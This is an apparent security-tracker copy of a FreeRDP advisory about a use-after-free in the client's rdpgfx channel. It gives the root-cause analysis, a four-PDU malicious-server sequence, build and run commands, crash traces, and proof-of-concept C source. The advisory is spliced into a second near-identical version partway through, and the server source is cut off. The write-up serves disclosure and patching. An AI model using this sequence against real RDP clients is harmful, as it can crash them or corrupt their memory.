Read the docs

FreeRDP client use-after-free in rdpgfx DVC on channel close

Priority LOW 38Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

A remote RDP server that has completed the RDP handshake, such as a malicious or redirected server, can trigger a use-after-free in a FreeRDP client that has the rdpgfx dynamic virtual channel loaded, with no user interaction. The server opens a second channel under an already registered DVC name with a different ChannelId, then closes it. The plugin frees the single per-listener callback slot without clearing it, so a later PDU on the still-running first channel dereferences freed memory and the client can crash.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

# FreeRDP client use-after-free in the rdpgfx dynamic virtual channel on channel close ## Summary A remote RDP server that has completed the RDP handshake and can send Dynamic Virtual Channel data — for example a malicious or redirected server — can trigger this in a client that has the rdpgfx dynamic virtual channel loaded, with no user interaction. The server opens a second channel under a DVC name that is already registered but with a different ChannelId and then closes it; the plugin's single per-listener callback slot is freed but not cleared, and a subsequent PDU on the still-running sibling channel dereferences the freed callback. The client process therefore uses client heap memory after it has been freed and can crash. This was checked on the latest commit. ## Technical Details The dynamic virtual channel create path enforces uniqueness of the ChannelId but not of the ChannelName. In `dvcman_create_channel` (`channels/drdynvc/client/drdynvc_main.c:819-850`) a `CREATE_REQUEST` is accepted whenever its ChannelId is unused, so a server can create a second channel under a Name that already has an active channel, using a different ChannelId. Both the ChannelId and the ChannelName come from the server PDU in `drdynvc_process_create_request` (`channels/drdynvc/client/drdynvc_main.c:1385-1391`). Because each listener keeps only a single callback slot, written by `generic_on_new_channel_connection` (`channels/client/generic_dynvc.c:56-57`), the second same-name channel overwrites the `channel_callback` and `channel` of the first. When the server sends `CLOSE_REQUEST` for the second ChannelId (`drdynvc_process_close_request`, `channels/drdynvc/client/drdynvc_main.c:1619-1628`), `rdpgfx_on_close` (`channels/rdpgfx/client/rdpgfx_main.c:2401-2432`) frees the callback but does not clear `listener_callback->channel_callback`, unlike `rdpei_on_close` and `video_control_on_close`, which null it, leaving the single slot dangling. A subsequent `DATA` PDU on the still-running first channel reaches `rdpgfx_recv_end_frame_pdu` (`channels/rdpgfx/client/rdpgfx_main.c:1312-1364`), which acknowledges the frame unconditionally, without requiring a preceding `START_FRAME`. `rdpgfx_send_frame_acknowledge_pdu` (`channels/rdpgfx/client/rdpgfx_main.c:617-644`) reads the freed slot, its non-NULL test is ineffective against a dangling pointer, and `callback->channel->Write` dereferences freed memory. The same root cause has a second landing point in the audio playback channel: `dvcman_create_channel` admits a second `AUDIO_PLAYBACK_DVC` under the same name, `rdpsnd_on_new_channel_connection` (`channels/rdpsnd/client/rdpsnd_main.c:1822-1829`) stores the callback in the per-plugin single slot, `rdpsnd_on_close` (`channels/rdpsnd/client/rdpsnd_main.c:1771-1795`) frees it without clearing the slot, and `rdpsnd_virtual_channel_write` (`channels/rdpsnd/client/rdpsnd_main.c:1156-1160`) dereferences the slot's `channel` and calls `Write` without a NULL check. ## Impact The consequence is a use-after-free of the client process heap. Once the freed block is reused by a later allocation, `callback->channel` can become controlled data and form an indirect call through a controlled pointer; otherwise the client crashes on heap reuse or under AddressSanitizer. The affected assets are the client process memory integrity and the DVC registry identity invariant. ## Proof of Concept Checked on commit `651ab269524adbda4d673efa60d2e391ef7555a7` (latest commit; no version tag). From a normal checkout of that commit, build the client and server and compile the two programs below against them. Start the server and then the client with the graphics pipeline enabled, so that the rdpgfx dynamic virtual channel listener is loaded: ``` # malicious server (usage from the source below) ./poc_server cert.pem key.pem 3389 # client, with the graphics pipeline enabled so rdpgfx is loaded ./client_headless /v:127.0.0.1:3389 /cert:ignore /gfx ``` The server sends four raw MS-RDPEDYC PDUs, one per packet, on the drdynvc static channel (channelId 1007): a `CREATE_REQUEST` for `Microsoft::Windows::RDS::Graphics` with ChannelId `0x0a`; a second `CREATE_REQUEST` with the same name and ChannelId `0x0b`; a `CLOSE_REQUEST` for `0x0b`; and a `DATA` PDU for `0x0a` carrying a zgfx-compressed RDPGFX `END_FRAME`. Observed server output: ``` [pocserver] drdynvc state=2 joined=1 channelId=1007 [pocserver] drdynvc READY; running same-name DVC sequence (rdpgfx id=0x0a then id=0x0b, close 0x0b, data 0x0a) [pocserver] sent CREATE_REQUEST(rdpgfx) (36 bytes) [pocserver] sent CREATE_REQUEST(rdpgfx) (36 bytes) [pocserver] sent CLOSE_REQUEST (2 bytes) [pocserver] sent DATA(END_FRAME) (16 bytes) ``` Observed client output — the second channel is admitted despite the duplicate name: ``` [dvcman_create_channel]: listener Microsoft::Windows::RDS::Graphics created new channel 10 [dvcman_create_channel]: listener Microsoft::Windows::RDS::Graphics created new channel 11 ``` The client process then aborts with exit code 1: ``` ==1948==ERROR: AddressSanitizer: heap-use-after-free on address 0x7c32845e6290 at pc 0x7fd28fe7c1b4 bp 0x7bd27abfcf90 sp 0x7bd27abfcf88 READ of size 8 at 0x7c32845e6290 thread T6 #0 rdpgfx_send_frame_acknowledge_pdu channels/rdpgfx/client/rdpgfx_main.c:643:20 #1 rdpgfx_recv_end_frame_pdu channels/rdpgfx/client/rdpgfx_main.c:1364:16 #2 rdpgfx_recv_pdu channels/rdpgfx/client/rdpgfx_main.c:2187:17 #3 rdpgfx_on_data_received channels/rdpgfx/client/rdpgfx_main.c:2327:16 #4 drdynvc_process_data channels/drdynvc/client/drdynvc_main.c:1589:11 #5 drdynvc_order_recv channels/drdynvc/client/drdynvc_main.c:1665:11 #6 drdynvc_virtual_channel_client_thread channels/drdynvc/client/drdynvc_main.c:1861:17 0x7c32845e6290 is located 48 bytes inside of 56-byte region [0x7c32845e6260,0x7c32845e6298) freed by thread T6 here: #0 free #1 rdpgfx_on_close channels/rdpgfx/client/rdpgfx_main.c:2432:2 #2 dvcman_channel_close channels/drdynvc/client/drdynvc_main.c:543:14 #3 drdynvc_process_close_request channels/drdynvc/client/drdynvc_main.c:1627:2 #4 drdynvc_order_recv channels/drdynvc/client/drdynvc_main.c:1669:11 #5 drdynvc_virtual_channel_client_thread channels/drdynvc/client/drdynvc_main.c:1861:17 previously allocated by thread T6 here: #0 calloc #1 generic_on_new_channel_connection channels/client/generic_dynvc.c:42:40 #2 dvcman_create_channel channels/drdynvc/client/drdynvc_main.c:865:9 #3 drdynvc_process_create_request channels/drdynvc/client/drdynvc_main.c:1409:6 #4 drdynvc_order_recv channels/drdynvc/client/drdynvc_main.c:1655:11 #5 drdynvc_virtual_channel_client_thread channels/drdynvc/client/drdynvc_main.c:1861:17 SUMMARY: AddressSanitizer: heap-use-after-free channels/rdpgfx/client/rdpgfx_main.c:643:20 in rdpgfx_send_frame_acknowledge_pdu ``` The failure is the direct consequence of the admitted duplicate name: the guard let the second channel in, the single slot was overwritten, closing the second channel freed the slot without clearing it, and one PDU on the sibling channel dereferenced the freed memory. The two PoC sources follow. `client_headless.c`: ```c /* * Headless FreeRDP client driver. * * This is not a re-implementation of the vulnerable code: it is a thin, * displayless driver of the real FreeRDP client engine (libfreerdp-client3), * using exactly the same public client framework entry points as the shipped * xfreerdp client (freerdp_client_context_new / freerdp_client_settings_parse_command_line / * freerdp_client_start). All addins, including the static virtual channel * "drdynvc" (channels/drdynvc/client/drdynvc_main.c) and the "rdpgfx" dynamic * virtual channel plugin (channels/rdpgfx/client/rdpgfx_main.c), are loaded * through the standard freerdp_client_load_addins() path. * * The network-facing entry point (a server sending DVC PDUs) is fully * preserved; the vulnerable client code executes unmodified. */ #include <freerdp/config.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/crt.h> #include <winpr/assert.h> #include <winpr/synch.h> #include <freerdp/freerdp.h> #include <freerdp/constants.h> #include <freerdp/gdi/gdi.h> #include <freerdp/settings.h> #include <freerdp/client/cmdline.h> #include <freerdp/client/channels.h> #include <freerdp/client.h> #include <freerdp/channels/channels.h> #include <freerdp/log.h> #define TAG "pocclient" typedef struct { rdpClientContext common; } pocContext; static BOOL poc_post_connect(freerdp* instance) { rdpContext* context = NULL; WINPR_ASSERT(instance); if (!gdi_init(instance, PIXEL_FORMAT_XRGB32)) return FALSE; context = instance->context; WINPR_ASSERT(context); /* No graphics decoding needed; we only care about channel PDU processing. */ if (!freerdp_settings_set_bool(context->settings, FreeRDP_DeactivateClientDecoding, TRUE)) return FALSE; fprintf(stdout, "[pocclient] post_connect: session established\n"); fflush(stdout); return TRUE; } static void poc_post_disconnect(freerdp* instance) { if (instance) gdi_free(instance); } static BOOL poc_client_new(freerdp* instance, rdpContext* context) { WINPR_UNUSED(context); if (!instance) return FALSE; instance->PostConnect = poc_post_connect; instance->PostDisconnect = poc_post_disconnect; return TRUE; } static void poc_client_free(freerdp* instance, rdpContext* context) { WINPR_UNUSED(instance); WINPR_UNUSED(context); } static int poc_client_start(rdpContext* context) { WINPR_UNUSED(context); return 0; } static int poc_client_stop(rdpContext* context) { WINPR_UNUSED(context); return 0; } static int RdpClientEntry(RDP_CLIENT_ENTRY_POINTS* pEntryPoints) { WINPR_ASSERT(pEntryPoints); ZeroMemory(pEntryPoints, sizeof(RDP_CLIENT_ENTRY_POINTS)); pEntryPoints->Version = RDP_CLIENT_INTERFACE_VERSION; pEntryPoints->Size = sizeof(RDP_CLIENT_ENTRY_POINTS_V1); pEntryPoints->ContextSize = sizeof(pocContext); pEntryPoints->ClientNew = poc_client_new; pEntryPoints->ClientFree = poc_client_free; pEntryPoints->ClientStart = poc_client_start; pEntryPoints->ClientStop = poc_client_stop; return 0; } static DWORD poc_client_thread_proc(freerdp* instance) { DWORD nCount = 0; DWORD status = 0; HANDLE handles[MAXIMUM_WAIT_OBJECTS] = WINPR_C_ARRAY_INIT; BOOL rc = freerdp_connect(instance); WINPR_ASSERT(instance->context); WINPR_ASSERT(instance->context->settings); if (!rc) { fprintf(stderr, "[pocclient] connection failure 0x%08" PRIx32 "\n", freerdp_get_last_error(instance->context)); goto disconnect; } fprintf(stdout, "[pocclient] connected\n"); fflush(stdout); while (!freerdp_shall_disconnect_context(instance->context)) { nCount = freerdp_get_event_handles(instance->context, handles, ARRAYSIZE(handles)); if (nCount == 0) { fprintf(stderr, "[pocclient] freerdp_get_event_handles failed\n"); break; } status = WaitForMultipleObjects(nCount, handles, FALSE, 200); if (status == WAIT_FAILED) { fprintf(stderr, "[pocclient] WaitForMultipleObjects failed\n"); break; } if (!freerdp_check_event_handles(instance->context)) { if (freerdp_get_last_error(instance->context) == FREERDP_ERROR_SUCCESS) fprintf(stderr, "[pocclient] check event handles failed\n"); break; } } disconnect: fprintf(stdout, "[pocclient] disconnecting\n"); fflush(stdout); freerdp_disconnect(instance); return 0; } int main(int argc, char* argv[]) { int rc = -1; RDP_CLIENT_ENTRY_POINTS clientEntryPoints = WINPR_C_ARRAY_INIT; rdpContext* context = NULL; RdpClientEntry(&clientEntryPoints); context = freerdp_client_context_new(&clientEntryPoints); if (!context) goto fail; { const int status = freerdp_client_settings_parse_command_line(context->settings, argc, argv, FALSE); if (status) { rc = freerdp_client_settings_command_line_status_print(context->settings, status, argc, argv); goto fail; } } if (freerdp_client_start(context) != 0) goto fail; { const DWORD res = poc_client_thread_proc(context->instance); rc = (int)res; } if (freerdp_client_stop(context) != 0) rc = -1; fail: freerdp_client_context_free(context); return rc; } ``` `poc_server.c`: ```c /* * Malicious RDP server PoC. * * "DVC same-name channel shares a single-slot callback; closing one leaves a * dangling pointer that the still-running sibling channel dereferences" * * Attacker primitive: a (malicious / redirected) RDP server that has completed * the RDP connection sequence and whose client joined the static virtual channel * "drdynvc". Such a server fully controls the Dynamic Virtual Channel protocol * (MS-RDPEDYC) it sends inside that static channel: * * - DYNVC_CREATE_REQUEST carries a server chosen ChannelId and ChannelName * - DYNVC_CLOSE_REQUEST carries a server chosen ChannelId * - DYNVC_DATA carries a server chosen blob for a server chosen ChannelId * * This program drives the real FreeRDP server engine (libfreerdp-server3, the * same code path freerdp-shadow-cli uses) over a real TCP socket to the real * FreeRDP client engine, then emits the following raw DVC PDUs on the * "drdynvc" static channel: * * 1. CREATE_REQUEST ChannelName="rdpgfx" ChannelId=0x0a * 2. CREATE_REQUEST ChannelName="rdpgfx" ChannelId=0x0b (same name!) * 3. CLOSE_REQUEST ChannelId=0x0b * 4. DATA ChannelId=0x0a payload = zgfx(RDPGFX END_FRAME) * * Step 2 is accepted because dvcman_create_channel() only enforces ChannelId * uniqueness, not ChannelName uniqueness. The per-listener single callback slot * (GENERIC_LISTENER_CALLBACK::channel_callback, channels/client/generic_dynvc.c) * is overwritten by channel 0x0b. Step 3 frees that callback in * rdpgfx_on_close() without clearing the slot (channels/rdpgfx/client/rdpgfx_main.c), * leaving a dangling pointer. Step 4 makes the still-RUNNING channel 0x0a * acknowledge the frame (rdpgfx_recv_end_frame_pdu -> rdpgfx_send_frame_acknowledge_pdu), * which reads the dangling slot and dereferences callback->channel. * * The bytes sent are exactly the bytes on the wire a hostile server can produce; * no framing invariant of the library is bypassed. */ #include <freerdp/config.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/crt.h> #include <winpr/assert.h> #include <winpr/ssl.h> #include <winpr/synch.h> #include <winpr/file.h> #include <winpr/string.h> #include <winpr/path.h> #include <winpr/winsock.h> #include <winpr/stream.h> #include <winpr/sysinfo.h> #include <winpr/wtsapi.h> #include <freerdp/freerdp.h> #include <freerdp/peer.h> #include <freerdp/listener.h> #include <freerdp/constants.h> #include <freerdp/settings.h> #include <freerdp/crypto/certificate.h> #include <freerdp/crypto/privatekey.h> #include <freerdp/codec/zgfx.h> #include <freerdp/channels/wtsvc.h> #include <freerdp# FreeRDP drdynvc/rdpgfx client dynamic virtual channel use-after-free ## Summary A remote RDP server that has completed the RDP connection sequence and can send Dynamic Virtual Channel (DVC) data inside the `drdynvc` static channel can trigger a use-after-free in the client process, with no user interaction. The server creates two channels with the same registered DVC name but different `ChannelId` values; closing the later one frees the plugin's per-listener single-slot callback without clearing it, and one subsequent PDU on the still-running sibling channel dereferences the freed callback. The client process suffers a heap use-after-free: if the freed block is reused by a later allocation, `callback->channel` can become controlled data and form an indirect call through a controlled pointer; otherwise the client crashes under heap reuse or AddressSanitizer. This was checked on the latest commit. ## Technical Details The ineffective check is in `dvcman_create_channel` (`channels/drdynvc/client/drdynvc_main.c:819-850`): channel uniqueness is enforced only by `ChannelId`, and the code never verifies whether the incoming `ChannelName` already has an active channel, so a second channel with the same registered name and a different id is accepted. Data flow: - `drdynvc_order_recv` (`channels/drdynvc/client/drdynvc_main.c:1655-1656`) receives a `CREATE_REQUEST` inside the `drdynvc` static channel and enters create handling. - `drdynvc_process_create_request` (`channels/drdynvc/client/drdynvc_main.c:1385-1391`) takes both `ChannelId` and `ChannelName` from the PDU; both are fully server-controlled, and the name only has to match an already registered listener. - `dvcman_create_channel` (`channels/drdynvc/client/drdynvc_main.c:819-850`) admits the second same-name channel because only `ChannelId` is checked. - `generic_on_new_channel_connection` (`channels/client/generic_dynvc.c:56-57`) writes the new callback into the per-listener single slot `listener_callback->channel_callback` and `->channel`, overwriting the first channel's callback. - `drdynvc_process_close_request` (`channels/drdynvc/client/drdynvc_main.c:1619-1628`) closes the later `ChannelId` and triggers its `OnClose`. - `rdpgfx_on_close` (`channels/rdpgfx/client/rdpgfx_main.c:2401-2432`) `free()`s that callback but does not clear `gfx->base.listener_callback->channel_callback`, leaving the single slot dangling; `rdpei_on_close` and `video_control_on_close` do clear it. - `rdpgfx_recv_end_frame_pdu` (`channels/rdpgfx/client/rdpgfx_main.c:1312-1364`) unconditionally sends an acknowledgement on the still-running sibling channel when it receives `END_FRAME`, with no preceding `START_FRAME` required. - `rdpgfx_send_frame_acknowledge_pdu` (`channels/rdpgfx/client/rdpgfx_main.c:617-644`) reads the freed single-slot callback, whose non-NULL test is ineffective against a dangling pointer, and dereferences `callback->channel` on freed memory. The same root cause has a second sink in the audio playback plugin: `dvcman_create_channel` equally admits a same-name second `AUDIO_PLAYBACK_DVC` channel; `rdpsnd_on_new_channel_connection` (`channels/rdpsnd/client/rdpsnd_main.c:1822-1829`) writes the callback into the per-plugin single slot; `rdpsnd_on_close` (`channels/rdpsnd/client/rdpsnd_main.c:1771-1795`) frees the callback without clearing it; and `rdpsnd_virtual_channel_write` (`channels/rdpsnd/client/rdpsnd_main.c:1156-1160`) dereferences the single slot's `->channel` and calls `Write` without a NULL check. ## Impact The client process suffers a heap use-after-free, affecting client process memory integrity and the DVC registry identity invariant. When the freed block is reused by a later allocation, `callback->channel` can become controlled data and form an indirect call through a controlled pointer; otherwise the client crashes under heap reuse or AddressSanitizer. ## Proof of Concept Verified on commit `651ab269524adbda4d673efa60d2e391ef7555a7`. Commands: ``` git checkout 651ab269524adbda4d673efa60d2e391ef7555a7 ./reproduce.sh ``` `./reproduce.sh` resolves paths relative to its own directory and does not depend on the current working directory; `POC_TIMEOUT` defaults to a bounded 2700 s. Two independent fresh replays gave the same result: ``` REPRO_RESULT: reproduced REPRO_RESULT: reproduced ``` Input: the server drives the real `libfreerdp-server3` engine and the client drives the real `libfreerdp-client3` engine (all addins loaded through the standard `freerdp_client_load_addins` path). After `drdynvc` reaches `READY`, the server sends four raw MS-RDPEDYC PDUs on the static channel (channelId=1007), exactly one PDU per packet: 1. `CREATE_REQUEST` `ChannelName="Microsoft::Windows::RDS::Graphics"` `ChannelId=0x0a` 2. `CREATE_REQUEST` same name `ChannelId=0x0b` 3. `CLOSE_REQUEST` `ChannelId=0x0b` 4. `DATA` `ChannelId=0x0a`, payload is the `zgfx_compress_to_stream`-compressed RDPGFX `END_FRAME` Observed output. Server side: ``` [pocserver] drdynvc state=2 joined=1 channelId=1007 [pocserver] drdynvc READY; running same-name DVC sequence (rdpgfx id=0x0a then id=0x0b, close 0x0b, data 0x0a) [pocserver] sent CREATE_REQUEST(rdpgfx) (36 bytes) ×2 [pocserver] sent CLOSE_REQUEST (2 bytes) [pocserver] sent DATA(END_FRAME) (16 bytes) ``` Client side: ``` [dvcman_create_channel]: listener Microsoft::Windows::RDS::Graphics created new channel 10 [dvcman_create_channel]: listener Microsoft::Windows::RDS::Graphics created new channel 11 ``` The `CLOSE(0x0b)` triggers `rdpgfx_on_close` to `free` the single-slot callback, and `DATA(0x0a)` triggers the acknowledgement dereference. The client process is aborted by AddressSanitizer (exit=1) with a use-after-free report, `READ of size 8`, with allocation, free and use all present: - use: `rdpgfx_send_frame_acknowledge_pdu` `rdpgfx_main.c:643:20` (reading `callback->channel`, a 56-byte region at offset 48) - free: `rdpgfx_on_close` `rdpgfx_main.c:2432:2` (frees the single-slot callback without clearing `listener_callback->channel_callback`) - allocation: `generic_on_new_channel_connection` `generic_dynvc.c:42:40` (the per-listener single-slot callback object) Crash stack: ```text ==1948==ERROR: AddressSanitizer: heap-use-after-free on address 0x7c32845e6290 at pc 0x7fd28fe7c1b4 bp 0x7bd27abfcf90 sp 0x7bd27abfcf88 READ of size 8 at 0x7c32845e6290 thread T6 #0 0x7fd28fe7c1b3 in rdpgfx_send_frame_acknowledge_pdu /work/build/source/channels/rdpgfx/client/rdpgfx_main.c:643:20 #1 0x7fd28fe76865 in rdpgfx_recv_end_frame_pdu /work/build/source/channels/rdpgfx/client/rdpgfx_main.c:1364:16 #2 0x7fd28fe76865 in rdpgfx_recv_pdu /work/build/source/channels/rdpgfx/client/rdpgfx_main.c:2187:17 #3 0x7fd28fe76865 in rdpgfx_on_data_received /work/build/source/channels/rdpgfx/client/rdpgfx_main.c:2327:16 #4 0x7fd28fe0f6a3 in drdynvc_process_data /work/build/source/channels/drdynvc/client/drdynvc_main.c:1589:11 #5 0x7fd28fe0f6a3 in drdynvc_order_recv /work/build/source/channels/drdynvc/client/drdynvc_main.c:1665:11 #6 0x7fd28fe0d71e in drdynvc_virtual_channel_client_thread /work/build/source/channels/drdynvc/client/drdynvc_main.c:1861:17 #7 0x7fd28f3ee64e in thread_launcher /work/build/source/winpr/libwinpr/thread/thread.c:540:7 #8 0x55954b8ef4e6 in asan_thread_start(void*) /src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:239:28 #9 0x7fd28f21f608 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8608) (BuildId: 9753720502573b97dbac595b61fd72c2df18e078) #10 0x7fd28efac352 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x11f352) (BuildId: 5792732f783158c66fb4f3756458ca24e46e827d) 0x7c32845e6290 is located 48 bytes inside of 56-byte region [0x7c32845e6260,0x7c32845e6298) freed by thread T6 here: #0 0x55954b8f1966 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:51:3 #1 0x7fd28fe7b37b in rdpgfx_on_close /work/build/source/channels/rdpgfx/client/rdpgfx_main.c:2432:2 #2 0x7fd28fe0c111 in dvcman_channel_close /work/build/source/channels/drdynvc/client/drdynvc_main.c:543:14 #3 0x7fd28fe0e479 in drdynvc_process_close_request /work/build/source/channels/drdynvc/client/drdynvc_main.c:1627:2 #4 0x7fd28fe0e479 in drdynvc_order_recv /work/build/source/channels/drdynvc/client/drdynvc_main.c:1669:11 #5 0x7fd28fe0d71e in drdynvc_virtual_channel_client_thread /work/build/source/channels/drdynvc/client/drdynvc_main.c:1861:17 #6 0x7fd28f3ee64e in thread_launcher /work/build/source/winpr/libwinpr/thread/thread.c:540:7 #7 0x55954b8ef4e6 in asan_thread_start(void*) /src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:239:28 previously allocated by thread T6 here: #0 0x55954b8f1dc9 in calloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:74:3 #1 0x7fd28ff1e585 in generic_on_new_channel_connection /work/build/source/channels/client/generic_dynvc.c:42:40 #2 0x7fd28fe0fb14 in dvcman_create_channel /work/build/source/channels/drdynvc/client/drdynvc_main.c:865:9 #3 0x7fd28fe0fb14 in drdynvc_process_create_request /work/build/source/channels/drdynvc/client/drdynvc_main.c:1409:6 #4 0x7fd28fe0fb14 in drdynvc_order_recv /work/build/source/channels/drdynvc/client/drdynvc_main.c:1656:11 #5 0x7fd28fe0d71e in drdynvc_virtual_channel_client_thread /work/build/source/channels/drdynvc/client/drdynvc_main.c:1861:17 #6 0x7fd28f3ee64e in thread_launcher /work/build/source/winpr/libwinpr/thread/thread.c:540:7 #7 0x55954b8ef4e6 in asan_thread_start(void*) /src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:239:28 SUMMARY: AddressSanitizer: heap-use-after-free /work/build/source/channels/rdpgfx/client/rdpgfx_main.c:643:20 in rdpgfx_send_frame_acknowledge_pdu ``` The shipped shared libraries were not instrumented with AddressSanitizer; only the `freerdp-client` target chain (including `channels/rdpgfx`, `channels/client/generic_dynvc` and `channels/drdynvc`) was rebuilt with `-fsanitize=address`. The server program itself is not instrumented and links the original installed libraries. This rebuild only obtained the structured use-after-free report and did not change the client business code under test. Scope and limits: the client must enable the graphics pipeline (`/gfx`) to load the `rdpgfx` DVC listener, and the PoC passes `/gfx` explicitly, which differs slightly from a claim that it is loaded by default but does not change the defect. Only the primary sink `rdpgfx` was reproduced end-to-end; the `rdpsnd` (`AUDIO_PLAYBACK_DVC`) sink shares the same root cause but was not separately exercised. PoC source `client_headless.c`: ```c /* * Headless FreeRDP client driver for the rdpgfx DVC use-after-free reproduction * * This is not a re-implementation of the vulnerable code: it is a thin, * displayless driver of the real FreeRDP client engine (libfreerdp-client3), * using exactly the same public client framework entry points as the shipped * xfreerdp client (freerdp_client_context_new / freerdp_client_settings_parse_command_line / * freerdp_client_start). All addins, including the static virtual channel * "drdynvc" (channels/drdynvc/client/drdynvc_main.c) and the "rdpgfx" dynamic * virtual channel plugin (channels/rdpgfx/client/rdpgfx_main.c), are loaded * through the standard freerdp_client_load_addins() path. * * The only reason a custom driver is used instead of the xfreerdp binary is that * xfreerdp requires an X11 display to process the session. The network-facing * entry point (an attacker controlled RDP server sending DVC PDUs) is fully * preserved; the vulnerable client code executes unmodified. */ #include <freerdp/config.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/crt.h> #include <winpr/assert.h> #include <winpr/synch.h> #include <freerdp/freerdp.h> #include <freerdp/constants.h> #include <freerdp/gdi/gdi.h> #include <freerdp/settings.h> #include <freerdp/client/cmdline.h> #include <freerdp/client/channels.h> #include <freerdp/client.h> #include <freerdp/channels/channels.h> #include <freerdp/log.h> #define TAG "pocclient" typedef struct { rdpClientContext common; } pocContext; static BOOL poc_post_connect(freerdp* instance) { rdpContext* context = NULL; WINPR_ASSERT(instance); if (!gdi_init(instance, PIXEL_FORMAT_XRGB32)) return FALSE; context = instance->context; WINPR_ASSERT(context); /* No graphics decoding needed; we only care about channel PDU processing. */ if (!freerdp_settings_set_bool(context->settings, FreeRDP_DeactivateClientDecoding, TRUE)) return FALSE; fprintf(stdout, "[pocclient] post_connect: session established\n"); fflush(stdout); return TRUE; } static void poc_post_disconnect(freerdp* instance) { if (instance) gdi_free(instance); } static BOOL poc_client_new(freerdp* instance, rdpContext* context) { WINPR_UNUSED(context); if (!instance) return FALSE; instance->PostConnect = poc_post_connect; instance->PostDisconnect = poc_post_disconnect; return TRUE; } static void poc_client_free(freerdp* instance, rdpContext* context) { WINPR_UNUSED(instance); WINPR_UNUSED(context); } static int poc_client_start(rdpContext* context) { WINPR_UNUSED(context); return 0; } static int poc_client_stop(rdpContext* context) { WINPR_UNUSED(context); return 0; } static int RdpClientEntry(RDP_CLIENT_ENTRY_POINTS* pEntryPoints) { WINPR_ASSERT(pEntryPoints); ZeroMemory(pEntryPoints, sizeof(RDP_CLIENT_ENTRY_POINTS)); pEntryPoints->Version = RDP_CLIENT_INTERFACE_VERSION; pEntryPoints->Size = sizeof(RDP_CLIENT_ENTRY_POINTS_V1); pEntryPoints->ContextSize = sizeof(pocContext); pEntryPoints->ClientNew = poc_client_new; pEntryPoints->ClientFree = poc_client_free; pEntryPoints->ClientStart = poc_client_start; pEntryPoints->ClientStop = poc_client_stop; return 0; } static DWORD poc_client_thread_proc(freerdp* instance) { DWORD nCount = 0; DWORD status = 0; HANDLE handles[MAXIMUM_WAIT_OBJECTS] = WINPR_C_ARRAY_INIT; BOOL rc = freerdp_connect(instance); WINPR_ASSERT(instance->context); WINPR_ASSERT(instance->context->settings); if (!rc) { fprintf(stderr, "[pocclient] connection failure 0x%08" PRIx32 "\n", freerdp_get_last_error(instance->context)); goto disconnect; } fprintf(stdout, "[pocclient] connected\n"); fflush(stdout); while (!freerdp_shall_disconnect_context(instance->context)) { nCount = freerdp_get_event_handles(instance->context, handles, ARRAYSIZE(handles)); if (nCount == 0) { fprintf(stderr, "[pocclient] freerdp_get_event_handles failed\n"); break; } status = WaitForMultipleObjects(nCount, handles, FALSE, 200); if (status == WAIT_FAILED) { fprintf(stderr, "[pocclient] WaitForMultipleObjects failed\n"); break; } if (!freerdp_check_event_handles(instance->context)) { if (freerdp_get_last_error(instance->context) == FREERDP_ERROR_SUCCESS) fprintf(stderr, "[pocclient] check event handles failed\n"); break; } } disconnect: fprintf(stdout, "[pocclient] disconnecting\n"); fflush(stdout); freerdp_disconnect(instance); return 0; } int main(int argc, char* argv[]) { int rc = -1; RDP_CLIENT_ENTRY_POINTS clientEntryPoints = WINPR_C_ARRAY_INIT; rdpContext* context = NULL; RdpClientEntry(&clientEntryPoints); context = freerdp_client_context_new(&clientEntryPoints); if (!context) goto fail; { const int status = freerdp_client_settings_parse_command_line(context->settings, argc, argv, FALSE); if (status) { rc = freerdp_client_settings_command_line_status_print(context->settings, status, argc, argv); goto fail; } } if (freerdp_client_start(context) != 0) goto fail; { const DWORD res = poc_client_thread_proc(context->instance); rc = (int)res; } if (freerdp_client_stop(context) != 0) rc = -1; fail: freerdp_client_context_free(context); return rc; } ``` PoC source `poc_server.c`: ```c /* * RDP server PoC for the rdpgfx DVC use-after-free reproduction * * "DVC same-name channel shares a single-slot callback; closing one leaves a * dangling pointer that the still-running sibling channel dereferences" * * Attacker primitive: a (malicious / redirected) RDP server that has completed * the RDP connection sequence and whose client joined the static virtual channel * "drdynvc". Such a server fully controls the Dynamic Virtual Channel protocol * (MS-RDPEDYC) it sends inside that static channel: * * - DYNVC_CREATE_REQUEST carries a server chosen ChannelId and ChannelName * - DYNVC_CLOSE_REQUEST carries a server chosen ChannelId * - DYNVC_DATA carries a server chosen blob for a server chosen ChannelId * * This program drives the real FreeRDP server engine (libfreerdp-server3, the * same code path freerdp-shadow-cli uses) over a real TCP socket to the real * FreeRDP client engine, then emits the following raw DVC PDUs on the * "drdynvc" static channel: * * 1. CREATE_REQUEST ChannelName="rdpgfx" ChannelId=0x0a * 2. CREATE_REQUEST ChannelName="rdpgfx" ChannelId=0x0b (same name!) * 3. CLOSE_REQUEST ChannelId=0x0b * 4. DATA ChannelId=0x0a payload = zgfx(RDPGFX END_FRAME) * * Step 2 is accepted because dvcman_create_channel() only enforces ChannelId * uniqueness, not ChannelName uniqueness. The per-listener single callback slot * (GENERIC_LISTENER_CALLBACK::channel_callback, channels/client/generic_dynvc.c) * is overwritten by channel 0x0b. Step 3 frees that callback in * rdpgfx_on_close() without clearing the slot (channels/rdpgfx/client/rdpgfx_main.c), * leaving a dangling pointer. Step 4 makes the still-RUNNING channel 0x0a * acknowledge the frame (rdpgfx_recv_end_frame_pdu -> rdpgfx_send_frame_acknowledge_pdu), * which reads the dangling slot and dereferences callback->channel. * * The bytes sent are exactly the bytes on the wire a hostile server can produce; * no framing invariant of the library is bypassed. */ #include <freerdp/config.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/crt.h> #include <winpr/assert.h> #include <winpr/ssl.h> #include <winpr/synch.h> #include <winpr/file.h> #include <winpr/string.h> #include <winpr/path.h> #include 